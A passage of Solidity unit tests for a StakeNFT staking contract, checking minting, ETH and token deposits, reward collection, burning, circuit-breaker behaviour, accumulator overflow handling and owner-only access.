(uint256 acc, uint256 slush) = stakeNFT.getEthAccumulator();
assertEq(acc, 0);
assertEq(slush, 0);
(acc, slush) = stakeNFT.getTokenAccumulator();
assertEq(acc, 500000000000000000);
assertEq(slush, 0);
assertPosition(
getCurrentPosition(stakeNFT, tokenID1),
StakeNFT.Position(100, 1, 1, 0, 500000000000000000)
);
}
uint256 tokenID2 = user2.mint(sharesPerUser);
assertPosition(
getCurrentPosition(stakeNFT, tokenID2),
StakeNFT.Position(100, 1, 1, 0, 500000000000000000)
);
assertReserveAndExcessZero(stakeNFT, 200, 0 ether);
{
(uint256 acc, uint256 slush) = stakeNFT.getEthAccumulator();
assertEq(acc, 0);
assertEq(slush, 0);
(acc, slush) = stakeNFT.getTokenAccumulator();
assertEq(acc, 500000000000000000);
assertEq(slush, 0);
}
donator.depositToken(500);
{
(uint256 acc, uint256 slush) = stakeNFT.getEthAccumulator();
assertEq(acc, 0);
assertEq(slush, 0);
(acc, slush) = stakeNFT.getTokenAccumulator();
assertEq(acc, 3_000000000000000000);
assertEq(slush, 0);
}
{
uint256 stakeBalance = madToken.balanceOf(address(stakeNFT));
assertEq(stakeBalance, 700);
assertReserveAndExcessZero(stakeNFT, 700, 0 ether);
uint256 payout = stakeNFT.estimateTokenCollection(tokenID1);
assertEq(payout, 250);
payout = user1.collectToken(tokenID1);
assertEq(payout, 250);
assertEq(madToken.balanceOf(address(user1)), 300);
assertEq(madToken.balanceOf(address(stakeNFT)), 450);
assertReserveAndExcessZero(stakeNFT, 450, 0 ether);
assertEq(
madToken.balanceOf(address(stakeNFT)),
stakeBalance - payout
);
(uint256 acc, uint256 slush) = stakeNFT.getEthAccumulator();
assertEq(acc, 0);
assertEq(slush, 0);
(acc, slush) = stakeNFT.getTokenAccumulator();
assertEq(acc, 3_000000000000000000);
assertEq(slush, 0);
assertPosition(
getCurrentPosition(stakeNFT, tokenID1),
StakeNFT.Position(100, 1, 1, 0, 3_000000000000000000)
);
}
{
uint256 stakeBalance = madToken.balanceOf(address(stakeNFT));
assertEq(stakeBalance, 450);
uint256 payout2 = stakeNFT.estimateTokenCollection(tokenID2);
assertEq(payout2, 250);
payout2 = user2.collectToken(tokenID2);
assertEq(payout2, 250);
assertEq(madToken.balanceOf(address(user2)), 250);
assertEq(madToken.balanceOf(address(stakeNFT)), 200);
assertReserveAndExcessZero(stakeNFT, 200, 0 ether);
assertEq(
madToken.balanceOf(address(stakeNFT)),
stakeBalance - payout2
);
(uint256 acc, uint256 slush) = stakeNFT.getEthAccumulator();
assertEq(acc, 0);
assertEq(slush, 0);
(acc, slush) = stakeNFT.getTokenAccumulator();
assertEq(acc, 3_000000000000000000);
assertEq(slush, 0);
assertPosition(
getCurrentPosition(stakeNFT, tokenID2),
StakeNFT.Position(100, 1, 1, 0, 3_000000000000000000)
);
}
uint256 tokenID3 = user3.mint(sharesPerUser);
assertReserveAndExcessZero(stakeNFT, 300, 0 ether);
assertPosition(
getCurrentPosition(stakeNFT, tokenID3),
StakeNFT.Position(100, 1, 1, 0, 3_000000000000000000)
);
donator.depositToken(1000);
assertReserveAndExcessZero(stakeNFT, 1300, 0 ether);
{
uint256 payout = stakeNFT.estimateTokenCollection(tokenID1);
assertEq(payout, 333);
payout = user1.collectToken(tokenID1);
assertEq(payout, 333);
assertReserveAndExcessZero(stakeNFT, 967, 0 ether);
uint256 payout2 = stakeNFT.estimateTokenCollection(tokenID2);
assertEq(payout2, 333);
payout2 = user2.collectToken(tokenID2);
assertEq(payout2, 333);
assertReserveAndExcessZero(stakeNFT, 634, 0 ether);
uint256 payout3 = stakeNFT.estimateTokenCollection(tokenID3);
assertEq(payout3, 333);
payout3 = user3.collectToken(tokenID3);
assertEq(payout3, 333);
assertReserveAndExcessZero(stakeNFT, 301, 0 ether);
}
{
donator.depositToken(1000);
assertReserveAndExcessZero(stakeNFT, 1301, 0 ether);
uint256 payout = user1.collectToken(tokenID1);
assertEq(payout, 333);
assertReserveAndExcessZero(stakeNFT, 968, 0 ether);
uint256 payout2 = user2.collectToken(tokenID2);
assertEq(payout2, 333);
assertReserveAndExcessZero(stakeNFT, 635, 0 ether);
}
{
donator.depositToken(3000 - 999 - 333 - 2);
assertReserveAndExcessZero(stakeNFT, 2301, 0 ether);
uint256 payout = stakeNFT.estimateTokenCollection(tokenID1);
assertEq(payout, 555);
payout = user1.collectToken(tokenID1);
assertEq(payout, 555);
assertReserveAndExcessZero(stakeNFT, 1746, 0 ether);
uint256 payout2 = stakeNFT.estimateTokenCollection(tokenID2);
assertEq(payout2, 555);
payout2 = user2.collectToken(tokenID2);
assertEq(payout2, 555);
assertReserveAndExcessZero(stakeNFT, 1191, 0 ether);
uint256 payout3 = stakeNFT.estimateTokenCollection(tokenID3);
assertEq(payout3, 889);
payout3 = user3.collectToken(tokenID3);
assertEq(payout3, 889);
assertReserveAndExcessZero(stakeNFT, 302, 0 ether);
}
{
setBlockNumber(block.number+2);
donator.depositEth(1000 ether);
assertReserveAndExcessZero(stakeNFT, 302, 1000 ether);
(uint256 payoutEth, uint256 payoutToken) = user1.burn(tokenID1);
assertEq(payoutEth, 333_333333333333333333);
assertEq(payoutToken, 100);
assertEq(stakeNFT.balanceOf(address(user1)), 0);
assertEq(address(user1).balance, 333_333333333333333333);
assertReserveAndExcessZero(stakeNFT, 202, 666_666666666666666667);
(payoutEth, payoutToken) = user2.burn(tokenID2);
assertEq(payoutEth, 333_333333333333333333);
assertEq(payoutToken, 100);
assertEq(stakeNFT.balanceOf(address(user2)), 0);
assertEq(address(user2).balance, 333_333333333333333333);
assertReserveAndExcessZero(stakeNFT, 102, 333_333333333333333334);
// last user gets the slush as well
(payoutEth, payoutToken) = user3.burn(tokenID3);
assertEq(payoutEth, 333_333333333333333334);
assertEq(payoutToken, 102);
assertEq(stakeNFT.balanceOf(address(user3)), 0);
assertEq(address(user3).balance, 333_333333333333333334);
assertReserveAndExcessZero(stakeNFT, 0, 0);
}
{
(uint256 acc, uint256 slush) = stakeNFT.getEthAccumulator();
assertEq(acc, 3333333333333333333333333333333333333);
assertEq(slush, 0);
(acc, slush) = stakeNFT.getTokenAccumulator();
assertEq(acc, 15227777777777777777);
assertEq(slush, 0);
assertEq(madToken.balanceOf(address(stakeNFT)), 0);
assertEq(address(stakeNFT).balance, 0);
}
}
function testBurnWithTripCB() public {
(
StakeNFT stakeNFT,
MadTokenMock madToken,
AdminAccount admin,
) = getFixtureData();
UserAccount user1 = newUserAccount(madToken, stakeNFT);
UserAccount user2 = newUserAccount(madToken, stakeNFT);
UserAccount donator = newUserAccount(madToken, stakeNFT);
madToken.transfer(address(user1), 1000 * ONE_MADTOKEN);
madToken.transfer(address(user2), 1000 * ONE_MADTOKEN);
madToken.transfer(address(donator), 1_000_000 * ONE_MADTOKEN);
user1.approve(address(stakeNFT), 1000 * ONE_MADTOKEN);
user2.approve(address(stakeNFT), 1000 * ONE_MADTOKEN);
donator.approve(address(stakeNFT), 20000 * ONE_MADTOKEN);
payable(address(donator)).transfer(2000 ether);
// minting
uint256 tokenID1 = user1.mint(1000 * ONE_MADTOKEN);
assertPosition(
getCurrentPosition(stakeNFT, tokenID1),
StakeNFT.Position(uint224(1000 * ONE_MADTOKEN), 1, 1, 0, 0)
);
assertReserveAndExcessZero(stakeNFT, 1000 * ONE_MADTOKEN, 0);
uint256 tokenID2 = user2.mint(800 * ONE_MADTOKEN);
assertPosition(
getCurrentPosition(stakeNFT, tokenID2),
StakeNFT.Position(uint224(800 * ONE_MADTOKEN), 1, 1, 0, 0)
);
assertReserveAndExcessZero(stakeNFT, 1800 * ONE_MADTOKEN, 0);
// depositing to move the accumulators
donator.depositToken(1800 * ONE_MADTOKEN);
donator.depositEth(1800 ether);
assertReserveAndExcessZero(stakeNFT, 3600 * ONE_MADTOKEN, 1800 ether);
setBlockNumber(block.number + 2);
// minting one more position to user 2
uint256 tokenID3 = user2.mint(200 * ONE_MADTOKEN);
assertPosition(
getCurrentPosition(stakeNFT, tokenID3),
StakeNFT.Position(uint224(200 * ONE_MADTOKEN), 1, 1, 10**18, 10**18)
);
assertReserveAndExcessZero(stakeNFT, 3800 * ONE_MADTOKEN, 1800 ether);
donator.depositEth(200 ether);
donator.depositToken(200 * ONE_MADTOKEN);
assertReserveAndExcessZero(stakeNFT, 4000 * ONE_MADTOKEN, 2000 ether);
assertEq(madToken.balanceOf(address(user1)), 0);
assertEq(madToken.balanceOf(address(user2)), 0);
assertEq(stakeNFT.balanceOf(address(user1)), 1);
assertEq(stakeNFT.balanceOf(address(user2)), 2);
assertEq(address(user1).balance, 0 ether);
assertEq(address(user2).balance, 0 ether);
assertEq(madToken.balanceOf(address(stakeNFT)), 4000 * ONE_MADTOKEN);
assertEq(address(stakeNFT).balance, 2000 ether);
setBlockNumber(block.number + 2);
//e.g bug was found so we needed to trip the Circuit breaker
admin.tripCB();
// Only burn (which uses both collect) should work now
(uint256 payoutEth, uint256 payoutToken) = user1.burn(tokenID1);
assertEq(payoutEth, 1100 ether);
assertEq(payoutToken, 2100 * ONE_MADTOKEN);
assertEq(stakeNFT.balanceOf(address(user1)), 0);
assertEq(address(user1).balance, 1100 ether);
assertEq(madToken.balanceOf(address(user1)), 2100 * ONE_MADTOKEN);
assertReserveAndExcessZero(stakeNFT, 1900 * ONE_MADTOKEN, 900 ether);
(payoutEth, payoutToken) = user2.burn(tokenID2);
assertEq(payoutEth, 880 ether);
assertEq(payoutToken, 1680 * ONE_MADTOKEN);
assertEq(stakeNFT.balanceOf(address(user2)), 1);
assertEq(address(user2).balance, 880 ether);
assertEq(madToken.balanceOf(address(user2)), 1680 * ONE_MADTOKEN);
assertReserveAndExcessZero(stakeNFT, 220 * ONE_MADTOKEN, 20 ether);
(payoutEth, payoutToken) = user2.burn(tokenID3);
assertEq(payoutEth, 20 ether);
assertEq(payoutToken, 220 * ONE_MADTOKEN);
assertEq(stakeNFT.balanceOf(address(user2)), 0);
assertEq(address(user2).balance, 900 ether);
assertEq(madToken.balanceOf(address(user2)), 1900 * ONE_MADTOKEN);
assertEq(madToken.balanceOf(address(stakeNFT)), 0);
assertReserveAndExcessZero(stakeNFT, 0, 0 ether);
}
function test_MintCollectBurnALot() public {
(StakeNFT stakeNFT, MadTokenMock madToken,,) = getFixtureData();
UserAccount donator = newUserAccount(madToken, stakeNFT);
madToken.transfer(address(donator), 10000000 * ONE_MADTOKEN);
donator.approve(address(stakeNFT), 10000000 * ONE_MADTOKEN);
payable(address(donator)).transfer(100000 ether);
UserAccount[50] memory users;
uint256[100] memory tokenIDs;
uint256 j=0;
uint256 iterations = 21;
uint256 reserveEth = 0;
uint256 reserveToken = 0;
// Minting a lot
for (uint256 i=0; i < iterations; i++){
users[i] = newUserAccount(madToken, stakeNFT);
madToken.transfer(address(users[i]), (1_000_000 * ONE_MADTOKEN)+i);
users[i].approve(address(stakeNFT), (1_000_000 * ONE_MADTOKEN)+i);
tokenIDs[j] = users[i].mint((500_000 * ONE_MADTOKEN)-i);
reserveToken += (500_000 * ONE_MADTOKEN)-i;
tokenIDs[j+1] = users[i].mint((500_000 * ONE_MADTOKEN)+i);
reserveToken += (500_000 * ONE_MADTOKEN)+i;
j += 2;
}
assertReserveAndExcessZero(stakeNFT, reserveToken, reserveEth);
setBlockNumber(block.number+2);
j=0;
// depositing and collecting some
for (uint256 i=0; i < iterations; i++){
if (i % 3 == 0){
donator.depositEth(i * 1 ether);
reserveEth += i * 1 ether;
donator.depositToken(i * ONE_MADTOKEN);
reserveToken += i * ONE_MADTOKEN;
reserveEth -= users[i].collectEth(tokenIDs[j]);
reserveToken -= users[i].collectToken(tokenIDs[j]);
reserveEth -= users[i].collectEth(tokenIDs[j+1]);
reserveToken -= users[i].collectToken(tokenIDs[j+1]);
}
j += 2;
}
assertReserveAndExcessZero(stakeNFT, reserveToken, reserveEth);
setBlockNumber(block.number+2);
j=0;
// burning some amount of Positions
for (uint256 i=0; i < iterations; i++){
if (i % 7 == 0){
(uint256 payoutEth, uint256 payoutToken) = users[i].burn(tokenIDs[j]);
reserveToken -= payoutToken;
reserveEth -= payoutEth;
(payoutEth, payoutToken) = users[i].burn(tokenIDs[j+1]);
reserveToken -= payoutToken;
reserveEth -= payoutEth;
}
j += 2;
}
assertReserveAndExcessZero(stakeNFT, reserveToken, reserveEth);
setBlockNumber(block.number+2);
j=0;
//mint more tokens again
for (uint256 i=0; i < iterations; i++){
if (i % 7 == 0){
users[i] = newUserAccount(madToken, stakeNFT);
madToken.transfer(address(users[i]), (1_000_000 * ONE_MADTOKEN)+i);
users[i].approve(address(stakeNFT), (1_000_000 * ONE_MADTOKEN)+i);
tokenIDs[j] = users[i].mint((500_000 * ONE_MADTOKEN)-i);
reserveToken += (500_000 * ONE_MADTOKEN)-i;
tokenIDs[j+1] = users[i].mint((500_000 * ONE_MADTOKEN)+i);
reserveToken += (500_000 * ONE_MADTOKEN)+i;
donator.depositEth(i * 1 ether);
reserveEth += i * 1 ether;
donator.depositToken(i * ONE_MADTOKEN);
reserveToken += i * ONE_MADTOKEN;
}
j +=2;
}
assertReserveAndExcessZero(stakeNFT, reserveToken, reserveEth);
setBlockNumber(block.number+2);
j=0;
// collecting all the existing tokens
for (uint256 i=0; i < iterations; i++){
reserveEth -= users[i].collectEth(tokenIDs[j]);
reserveToken -= users[i].collectToken(tokenIDs[j]);
reserveEth -= users[i].collectEth(tokenIDs[j+1]);
reserveToken -= users[i].collectToken(tokenIDs[j+1]);
j += 2;
}
assertReserveAndExcessZero(stakeNFT, reserveToken, reserveEth);
j=0;
// burning all token expect 1
for (uint256 i=0; i < iterations-1; i++){
(uint256 payoutEth, uint256 payoutToken) = users[i].burn(tokenIDs[j]);
reserveToken -= payoutToken;
reserveEth -= payoutEth;
assertReserveAndExcessZero(stakeNFT, reserveToken, reserveEth);
(payoutEth, payoutToken) = users[i].burn(tokenIDs[j+1]);
reserveToken -= payoutToken;
reserveEth -= payoutEth;
assertReserveAndExcessZero(stakeNFT, reserveToken, reserveEth);
j += 2;
}
assertReserveAndExcessZero(stakeNFT, reserveToken, reserveEth);
users[iterations-1].burn(tokenIDs[(iterations-1)*2]);
users[iterations-1].burn(tokenIDs[(iterations-1)*2+1]);
assertEq(madToken.balanceOf(address(stakeNFT)), 0);
assertEq(address(stakeNFT).balance, 0);
assertEq(stakeNFT.getTotalShares(), 0);
assertReserveAndExcessZero(stakeNFT, 0, 0);
}
function testFail_CollectNonOwnedToken() public {
(StakeNFT stakeNFT, MadTokenMock madToken, , ) = getFixtureData();
UserAccount user1 = newUserAccount(madToken, stakeNFT);
UserAccount user2 = newUserAccount(madToken, stakeNFT);
madToken.transfer(address(user1), 1000 * ONE_MADTOKEN);
user1.approve(address(stakeNFT), 1000 * ONE_MADTOKEN);
// minting
uint256 tokenID1 = user1.mint(1000 * ONE_MADTOKEN);
assertPosition(
getCurrentPosition(stakeNFT, tokenID1),
StakeNFT.Position(uint224(1000 * ONE_MADTOKEN), 1, 1, 0, 0)
);
user2.collectToken(tokenID1);
}
function testFail_CollectNonOwnedEth() public {
(StakeNFT stakeNFT, MadTokenMock madToken, , ) = getFixtureData();
UserAccount user1 = newUserAccount(madToken, stakeNFT);
UserAccount user2 = newUserAccount(madToken, stakeNFT);
madToken.transfer(address(user1), 1000 * ONE_MADTOKEN);
user1.approve(address(stakeNFT), 1000 * ONE_MADTOKEN);
// minting
uint256 tokenID1 = user1.mint(1000 * ONE_MADTOKEN);
assertPosition(
getCurrentPosition(stakeNFT, tokenID1),
StakeNFT.Position(uint224(1000 * ONE_MADTOKEN), 1, 1, 0, 0)
);
user2.collectEth(tokenID1);
}
function testFail_BurnNonOwnedPosition() public {
(StakeNFT stakeNFT, MadTokenMock madToken, , ) = getFixtureData();
UserAccount user1 = newUserAccount(madToken, stakeNFT);
UserAccount user2 = newUserAccount(madToken, stakeNFT);
madToken.transfer(address(user1), 1000 * ONE_MADTOKEN);
user1.approve(address(stakeNFT), 1000 * ONE_MADTOKEN);
// minting
uint256 tokenID1 = user1.mint(1000 * ONE_MADTOKEN);
assertPosition(
getCurrentPosition(stakeNFT, tokenID1),
StakeNFT.Position(uint224(1000 * ONE_MADTOKEN), 1, 1, 0, 0)
);
user2.burn(tokenID1);
}
function testFail_estimateEthCollectionNonExistentToken() public {
(StakeNFT stakeNFT, , , ) = getFixtureData();
stakeNFT.estimateEthCollection(100);
}
function testFail_estimateTokenCollectionNonExistentToken() public {
(StakeNFT stakeNFT, , , ) = getFixtureData();
stakeNFT.estimateTokenCollection(100);
}
function testCollectTokensWithOverflowOnTheAccumulator() public {
(
StakeNFTHugeAccumulator stakeNFTHugeAcc,
MadTokenMock madToken,
,
) = getFixtureDataWithHugeAccumulator();
UserAccount user1 = newUserAccount(madToken, stakeNFTHugeAcc);
UserAccount user2 = newUserAccount(madToken, stakeNFTHugeAcc);
UserAccount donator = newUserAccount(madToken, stakeNFTHugeAcc);
madToken.transfer(address(user1), 100);
madToken.transfer(address(user2), 100);
madToken.transfer(address(donator), 210_000_000 * ONE_MADTOKEN);
user1.approve(address(stakeNFTHugeAcc), 100);
user2.approve(address(stakeNFTHugeAcc), 100);
donator.approve(address(stakeNFTHugeAcc), 210_000_000 * ONE_MADTOKEN);
uint256 expectedAccumulatorToken = type(uint168).max -
stakeNFTHugeAcc.getOffsetToOverflow();
uint256 expectedAccumulatorETH = type(uint168).max -
stakeNFTHugeAcc.getOffsetToOverflow();
uint224 user1Shares = 50;
uint256 tokenID1 = user1.mint(user1Shares);
assertPosition(
getCurrentPosition(stakeNFTHugeAcc, tokenID1),
StakeNFT.Position(
user1Shares,
1,
1,
expectedAccumulatorETH,
expectedAccumulatorToken
)
);
assertReserveAndExcessZero(stakeNFTHugeAcc, user1Shares, 0);
(uint256 acc, uint256 slush) = stakeNFTHugeAcc.getTokenAccumulator();
assertEq(acc, expectedAccumulatorToken);
assertEq(slush, 0);
//moving the accumulator closer to the overflow
uint256 deposit1 = 25;
donator.depositToken(deposit1);
assertReserveAndExcessZero(stakeNFTHugeAcc, user1Shares + deposit1, 0);
expectedAccumulatorToken +=
(deposit1 * stakeNFTHugeAcc.accumulatorScaleFactor()) /
user1Shares;
uint224 user2Shares = 50;
uint256 tokenID2 = user2.mint(user2Shares);
assertPosition(
getCurrentPosition(stakeNFTHugeAcc, tokenID2),
StakeNFT.Position(
user2Shares,
1,
1,
expectedAccumulatorETH,
expectedAccumulatorToken
)
);
{
(uint256 acc_, uint256 slush_) = stakeNFTHugeAcc
.getTokenAccumulator();
assertEq(acc_, expectedAccumulatorToken);
assertEq(slush_, 0);
}
assertReserveAndExcessZero(stakeNFTHugeAcc, user1Shares + deposit1 + user2Shares, 0);
// the overflow should happen here. As we are incrementing the accumulator by 150 * 10**16
uint256 deposit2 = 150;
donator.depositToken(deposit2);
expectedAccumulatorToken +=
(deposit2 * stakeNFTHugeAcc.accumulatorScaleFactor()) /
(user1Shares + user2Shares);
expectedAccumulatorToken -= type(uint168).max;
(acc, slush) = stakeNFTHugeAcc.getTokenAccumulator();
assertEq(acc, expectedAccumulatorToken);
assertEq(acc, 1000000000000000000);
assertEq(slush, 0);
assertReserveAndExcessZero(stakeNFTHugeAcc, user1Shares + deposit1 + user2Shares + deposit2, 0);
setBlockNumber(block.number+2);
// Testing collecting the dividends after the accumulator overflow Each
// user has to call collect twice to get the right amount of funds
// (before and after the overflow)
assertEq(stakeNFTHugeAcc.estimateTokenCollection(tokenID1), 100);
assertReserveAndExcessZero(stakeNFTHugeAcc, 275, 0);
assertEq(user1.collectToken(tokenID1), 100);
assertEq(stakeNFTHugeAcc.estimateTokenCollection(tokenID2), 75);
assertEq(user2.collectToken(tokenID2), 75);
assertReserveAndExcessZero(stakeNFTHugeAcc, 100, 0);
}
function testBurnTokensWithOverflowOnTheAccumulator() public {
(
StakeNFTHugeAccumulator stakeNFTHugeAcc,
MadTokenMock madToken,
,
) = getFixtureDataWithHugeAccumulator();
UserAccount user1 = newUserAccount(madToken, stakeNFTHugeAcc);
UserAccount user2 = newUserAccount(madToken, stakeNFTHugeAcc);
UserAccount donator = newUserAccount(madToken, stakeNFTHugeAcc);
madToken.transfer(address(user1), 100);
madToken.transfer(address(user2), 100);
madToken.transfer(address(donator), 210_000_000 * ONE_MADTOKEN);
user1.approve(address(stakeNFTHugeAcc), 100);
user2.approve(address(stakeNFTHugeAcc), 100);
donator.approve(address(stakeNFTHugeAcc), 210_000_000 * ONE_MADTOKEN);
uint256 expectedAccumulatorToken = type(uint168).max -
stakeNFTHugeAcc.getOffsetToOverflow();
uint256 expectedAccumulatorETH = type(uint168).max -
stakeNFTHugeAcc.getOffsetToOverflow();
uint224 user1Shares = 50;
uint256 tokenID1 = user1.mint(user1Shares);
assertPosition(
getCurrentPosition(stakeNFTHugeAcc, tokenID1),
StakeNFT.Position(
user1Shares,
1,
1,
expectedAccumulatorETH,
expectedAccumulatorToken
)
);
(uint256 acc, uint256 slush) = stakeNFTHugeAcc.getTokenAccumulator();
assertEq(acc, expectedAccumulatorToken);
assertEq(slush, 0);
assertReserveAndExcessZero(stakeNFTHugeAcc, user1Shares, 0);
//moving the accumulator closer to the overflow
uint256 deposit1 = 25;
donator.depositToken(deposit1);
expectedAccumulatorToken +=
(deposit1 * stakeNFTHugeAcc.accumulatorScaleFactor()) /
user1Shares;
assertReserveAndExcessZero(stakeNFTHugeAcc, user1Shares + deposit1, 0);
uint224 user2Shares = 50;
uint256 tokenID2 = user2.mint(user2Shares);
assertPosition(
getCurrentPosition(stakeNFTHugeAcc, tokenID2),
StakeNFT.Position(
user2Shares,
1,
1,
expectedAccumulatorETH,
expectedAccumulatorToken
)
);
assertReserveAndExcessZero(stakeNFTHugeAcc, user1Shares + deposit1 + user2Shares, 0);
{
(uint256 acc_, uint256 slush_) = stakeNFTHugeAcc
.getTokenAccumulator();
assertEq(acc_, expectedAccumulatorToken);
assertEq(slush_, 0);
}
{
// the overflow should happen here as we are incrementing the accumulator by 150 * 10**16
uint256 deposit2 = 150;
donator.depositToken(deposit2);
expectedAccumulatorToken +=
(deposit2 * stakeNFTHugeAcc.accumulatorScaleFactor()) /
(user1Shares + user2Shares);
expectedAccumulatorToken -= type(uint168).max;
(acc, slush) = stakeNFTHugeAcc.getTokenAccumulator();
assertEq(acc, expectedAccumulatorToken);
assertEq(acc, 1000000000000000000);
assertEq(slush, 0);
assertReserveAndExcessZero(stakeNFTHugeAcc, user1Shares + deposit1 + user2Shares + deposit2, 0);
}
//setBlockNumber(block.number+2);
// Testing collecting the dividends after the accumulator overflow
assertEq(stakeNFTHugeAcc.estimateTokenCollection(tokenID1), 100);
assertEq(stakeNFTHugeAcc.estimateTokenCollection(tokenID2), 75);
// advance block number
require(setBlockNumber(block.number + 2));
{
assertReserveAndExcessZero(stakeNFTHugeAcc, 275, 0);
(, uint256 payoutToken1) = user1.burn(tokenID1);
assertEq(payoutToken1, 150);
assertReserveAndExcessZero(stakeNFTHugeAcc, 125, 0);
}
{
(, uint256 payoutToken2) = user2.burn(tokenID2);
assertEq(payoutToken2, 125);
}
assertReserveAndExcessZero(stakeNFTHugeAcc, 0, 0);
}
function testCollectEtherWithOverflowOnTheAccumulator() public {
(
StakeNFTHugeAccumulator stakeNFTHugeAcc,
MadTokenMock madToken,
,
) = getFixtureDataWithHugeAccumulator();
UserAccount user1 = newUserAccount(madToken, stakeNFTHugeAcc);
UserAccount user2 = newUserAccount(madToken, stakeNFTHugeAcc);
UserAccount donator = newUserAccount(madToken, stakeNFTHugeAcc);
madToken.transfer(address(user1), 100);
madToken.transfer(address(user2), 100);
user1.approve(address(stakeNFTHugeAcc), 100);
user2.approve(address(stakeNFTHugeAcc), 100);
payable(address(donator)).transfer(1000);
uint256 expectedAccumulatorToken = type(uint168).max -
stakeNFTHugeAcc.getOffsetToOverflow();
uint256 expectedAccumulatorETH = type(uint168).max -
stakeNFTHugeAcc.getOffsetToOverflow();
uint224 user1Shares = 50;
uint256 tokenID1 = user1.mint(user1Shares);
assertPosition(
getCurrentPosition(stakeNFTHugeAcc, tokenID1),
StakeNFT.Position(
user1Shares,
1,
1,
expectedAccumulatorETH,
expectedAccumulatorToken
)
);
assertReserveAndExcessZero(stakeNFTHugeAcc, user1Shares, 0);
(uint256 acc, uint256 slush) = stakeNFTHugeAcc.getEthAccumulator();
assertEq(acc, expectedAccumulatorETH);
assertEq(slush, 0);
//moving the accumulator closer to the overflow
uint256 deposit1 = 25; //wei
donator.depositEth(deposit1);
expectedAccumulatorETH +=
(deposit1 * stakeNFTHugeAcc.accumulatorScaleFactor()) /
user1Shares;
assertReserveAndExcessZero(stakeNFTHugeAcc, user1Shares, deposit1);
uint224 user2Shares = 50;
uint256 tokenID2 = user2.mint(user2Shares);
assertPosition(
getCurrentPosition(stakeNFTHugeAcc, tokenID2),
StakeNFT.Position(
user2Shares,
1,
1,
expectedAccumulatorETH,
expectedAccumulatorToken
)
);
{
(uint256 acc_, uint256 slush_) = stakeNFTHugeAcc.getEthAccumulator();
assertEq(acc_, expectedAccumulatorETH);
assertEq(slush_, 0);
}
assertReserveAndExcessZero(stakeNFTHugeAcc, user1Shares + user2Shares, deposit1);
// the overflow should happen here as we are incrementing the accumulator by 150 * 10**16
uint256 deposit2 = 150; //wei
donator.depositEth(deposit2);
expectedAccumulatorETH +=
(deposit2 * stakeNFTHugeAcc.accumulatorScaleFactor()) /
(user1Shares + user2Shares);
expectedAccumulatorETH -= type(uint168).max;
(acc, slush) = stakeNFTHugeAcc.getEthAccumulator();
assertEq(acc, expectedAccumulatorETH);
assertEq(acc, 1000000000000000000);
assertEq(slush, 0);
assertReserveAndExcessZero(stakeNFTHugeAcc, user1Shares + user2Shares, deposit1 + deposit2);
setBlockNumber(block.number+2);
// Testing collecting the dividends after the accumulator overflow
assertEq(stakeNFTHugeAcc.estimateEthCollection(tokenID1), 100);
assertEq(user1.collectEth(tokenID1), 100);
assertReserveAndExcessZero(stakeNFTHugeAcc, 100, 75);
assertEq(stakeNFTHugeAcc.estimateEthCollection(tokenID2), 75);
assertEq(user2.collectEth(tokenID2), 75);
assertReserveAndExcessZero(stakeNFTHugeAcc, 100, 0);
}
function testBurnEtherWithOverflowOnTheAccumulator() public {
(
StakeNFTHugeAccumulator stakeNFTHugeAcc,
MadTokenMock madToken,
,
) = getFixtureDataWithHugeAccumulator();
UserAccount user1 = newUserAccount(madToken, stakeNFTHugeAcc);
UserAccount user2 = newUserAccount(madToken, stakeNFTHugeAcc);
UserAccount donator = newUserAccount(madToken, stakeNFTHugeAcc);
madToken.transfer(address(user1), 100);
madToken.transfer(address(user2), 100);
user1.approve(address(stakeNFTHugeAcc), 100);
user2.approve(address(stakeNFTHugeAcc), 100);
payable(address(donator)).transfer(1000);
uint256 expectedAccumulatorToken = type(uint168).max -
stakeNFTHugeAcc.getOffsetToOverflow();
uint256 expectedAccumulatorETH = type(uint168).max -
stakeNFTHugeAcc.getOffsetToOverflow();
uint224 user1Shares = 50;
uint256 tokenID1 = user1.mint(user1Shares);
assertPosition(
getCurrentPosition(stakeNFTHugeAcc, tokenID1),
StakeNFT.Position(
user1Shares,
1,
1,
expectedAccumulatorETH,
expectedAccumulatorToken
)
);
assertReserveAndExcessZero(stakeNFTHugeAcc, user1Shares, 0);
(uint256 acc, uint256 slush) = stakeNFTHugeAcc.getEthAccumulator();
assertEq(acc, expectedAccumulatorETH);
assertEq(slush, 0);
//moving the accumulator closer to the overflow
uint256 deposit1 = 25; //wei
donator.depositEth(deposit1);
expectedAccumulatorETH +=
(deposit1 * stakeNFTHugeAcc.accumulatorScaleFactor()) /
user1Shares;
assertReserveAndExcessZero(stakeNFTHugeAcc, user1Shares, deposit1);
uint224 user2Shares = 50;
uint256 tokenID2 = user2.mint(user2Shares);
assertPosition(
getCurrentPosition(stakeNFTHugeAcc, tokenID2),
StakeNFT.Position(
user2Shares,
1,
1,
expectedAccumulatorETH,
expectedAccumulatorToken
)
);
{
(uint256 acc_, uint256 slush_) = stakeNFTHugeAcc
.getEthAccumulator();
assertEq(acc_, expectedAccumulatorETH);
assertEq(slush_, 0);
}
assertReserveAndExcessZero(stakeNFTHugeAcc, user1Shares + user2Shares, deposit1);
// the overflow should happen here. As we are incrementing the accumulator by 150 * 10**16
uint256 deposit2 = 150; //wei
donator.depositEth(deposit2);
expectedAccumulatorETH +=
(deposit2 * stakeNFTHugeAcc.accumulatorScaleFactor()) /
(user1Shares + user2Shares);
expectedAccumulatorETH -= type(uint168).max;
(acc, slush) = stakeNFTHugeAcc.getEthAccumulator();
assertEq(acc, expectedAccumulatorETH);
assertEq(acc, 1000000000000000000);
assertEq(slush, 0);
assertReserveAndExcessZero(stakeNFTHugeAcc, user1Shares + user2Shares, deposit1 + deposit2);
//setBlockNumber(block.number+2);
// Testing collecting the dividends after the accumulator overflow Each
// user has to call collect twice to get the right amount of funds
// (before and after the overflow)
assertEq(stakeNFTHugeAcc.estimateEthCollection(tokenID1), 100);
assertEq(stakeNFTHugeAcc.estimateEthCollection(tokenID2), 75);
// advance block number
require(setBlockNumber(block.number + 2));
{
(uint256 payoutEth1, uint256 payoutToken1) = user1.burn(tokenID1);
assertEq(payoutEth1, 100);
assertEq(payoutToken1, 50);
}
assertReserveAndExcessZero(stakeNFTHugeAcc, 50, 75);
{
(uint256 payoutEth2, uint256 payoutToken2) = user2.burn(tokenID2);
assertEq(payoutEth2, 75);
assertEq(payoutToken2, 50);
}
assertReserveAndExcessZero(stakeNFTHugeAcc, 0, 0);
}
function testLockPosition() public {
(
StakeNFT stakeNFT,
MadTokenMock madToken,
,
GovernanceAccount governance
) = getFixtureData();
UserAccount user = newUserAccount(madToken, stakeNFT);
madToken.approve(address(stakeNFT), 1000);
